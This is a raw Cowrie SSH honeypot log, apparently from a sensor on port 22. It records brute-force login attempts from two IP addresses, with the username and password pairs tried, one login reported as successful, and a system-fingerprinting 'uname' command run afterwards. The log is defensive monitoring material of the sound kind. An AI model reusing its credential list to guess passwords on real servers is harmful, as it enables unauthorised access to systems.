ert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:03.745061Z","src_ip":"91.92.42.133","session":"2e79adfca45e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:06.333595Z","src_ip":"91.92.42.133","session":"2e79adfca45e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:07.634485Z","src_ip":"91.92.42.133","session":"2e79adfca45e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34422,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f1bc5c05ee9","protocol":"ssh","message":"New connection: 91.92.40.171:34422 (159.203.135.109:22) [session: 8f1bc5c05ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:08.440299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:08.444829Z","src_ip":"91.92.40.171","session":"8f1bc5c05ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:09.483394Z","src_ip":"91.92.40.171","session":"8f1bc5c05ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":35468,"dst_ip":"159.203.135.109","dst_port":22,"session":"78e46f8594b7","protocol":"ssh","message":"New connection: 91.92.42.133:35468 (159.203.135.109:22) [session: 78e46f8594b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:11.313757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:11.500421Z","src_ip":"91.92.42.133","session":"78e46f8594b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:11.503526Z","src_ip":"91.92.42.133","session":"78e46f8594b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34466,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cdfd07ca5fb","protocol":"ssh","message":"New connection: 91.92.40.171:34466 (159.203.135.109:22) [session: 6cdfd07ca5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:12.314442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:12.318861Z","src_ip":"91.92.40.171","session":"6cdfd07ca5fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:12.406394Z","src_ip":"91.92.40.171","session":"6cdfd07ca5fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"dev","message":"login attempt [developer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:12.431132Z","src_ip":"91.92.42.133","session":"78e46f8594b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:12.649129Z","src_ip":"91.92.40.171","session":"6cdfd07ca5fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:13.636961Z","src_ip":"91.92.42.133","session":"78e46f8594b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:13.783792Z","src_ip":"91.92.40.171","session":"6cdfd07ca5fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:17.173710Z","src_ip":"91.92.40.171","session":"8f1bc5c05ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49130,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eeae34533d4","protocol":"ssh","message":"New connection: 91.92.40.171:49130 (159.203.135.109:22) [session: 9eeae34533d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:17.594580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:17.599012Z","src_ip":"91.92.40.171","session":"9eeae34533d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:17.684327Z","src_ip":"91.92.40.171","session":"9eeae34533d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:17.949388Z","src_ip":"91.92.40.171","session":"9eeae34533d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44460,"dst_ip":"159.203.135.109","dst_port":22,"session":"db6d33f5ae0a","protocol":"ssh","message":"New connection: 91.92.42.133:44460 (159.203.135.109:22) [session: db6d33f5ae0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:18.758502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:18.795926Z","src_ip":"91.92.42.133","session":"db6d33f5ae0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:18.906069Z","src_ip":"91.92.42.133","session":"db6d33f5ae0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:19.120414Z","src_ip":"91.92.40.171","session":"9eeae34533d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:19.149609Z","src_ip":"91.92.40.171","session":"8f1bc5c05ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:19.511479Z","src_ip":"91.92.42.133","session":"db6d33f5ae0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:20.854594Z","src_ip":"91.92.42.133","session":"db6d33f5ae0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49166,"dst_ip":"159.203.135.109","dst_port":22,"session":"415caecd1508","protocol":"ssh","message":"New connection: 91.92.40.171:49166 (159.203.135.109:22) [session: 415caecd1508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:24.371041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:24.384303Z","src_ip":"91.92.40.171","session":"415caecd1508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44712,"dst_ip":"159.203.135.109","dst_port":22,"session":"0686f697d88f","protocol":"ssh","message":"New connection: 91.92.42.133:44712 (159.203.135.109:22) [session: 0686f697d88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:24.841187Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:25.188882Z","src_ip":"91.92.40.171","session":"415caecd1508","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:25.317470Z","src_ip":"91.92.42.133","session":"0686f697d88f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:25.322310Z","src_ip":"91.92.42.133","session":"0686f697d88f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:27.793519Z","src_ip":"91.92.42.133","session":"0686f697d88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60608,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8c1d00b0710","protocol":"ssh","message":"New connection: 91.92.40.171:60608 (159.203.135.109:22) [session: c8c1d00b0710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:28.759034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:28.762989Z","src_ip":"91.92.40.171","session":"c8c1d00b0710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:28.861027Z","src_ip":"91.92.40.171","session":"c8c1d00b0710","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:28.954479Z","src_ip":"91.92.42.133","session":"0686f697d88f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:28.956881Z","src_ip":"91.92.42.133","session":"0686f697d88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:29.165024Z","src_ip":"91.92.40.171","session":"415caecd1508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:29.233502Z","src_ip":"91.92.40.171","session":"c8c1d00b0710","protocol":"ssh"}
